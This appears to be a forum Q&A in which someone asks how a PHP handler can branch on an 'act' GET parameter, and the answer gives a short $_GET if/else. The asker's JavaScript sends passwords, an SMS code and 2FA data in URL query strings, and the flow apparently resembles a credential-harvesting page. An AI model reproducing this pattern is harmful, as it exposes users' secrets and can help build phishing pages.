How to handle GET variable in ajax request in PHP

Question

I have the problem.At first,in my code I have such request

 $.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {

And in the second part of code I have another request:

 var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { var response = JSON.parse(auth.responseText);

My question is the next: Like in the both link I have variables like "act".And the values in first case "savePhone" and "login" in the second case.My question,like.....aforementioned code was the part of Javascript in the full html page.But,the question is how to write a handle of this request in php.Because these two links was the part of PHP handler "continue.php".Like...what PHP methods I could use in file "continue.php" to appropriate two values "savePhone" and "login" for one variable "act" in PHP handle.I hope that everything was understandable)

Answer 1

<?php
   $act = $_GET['act'];
   if ($act === 'savePhone') {
      //Do savePhone logic here
   } else if ($act === 'login') {
      //Do login logic here
   }
?>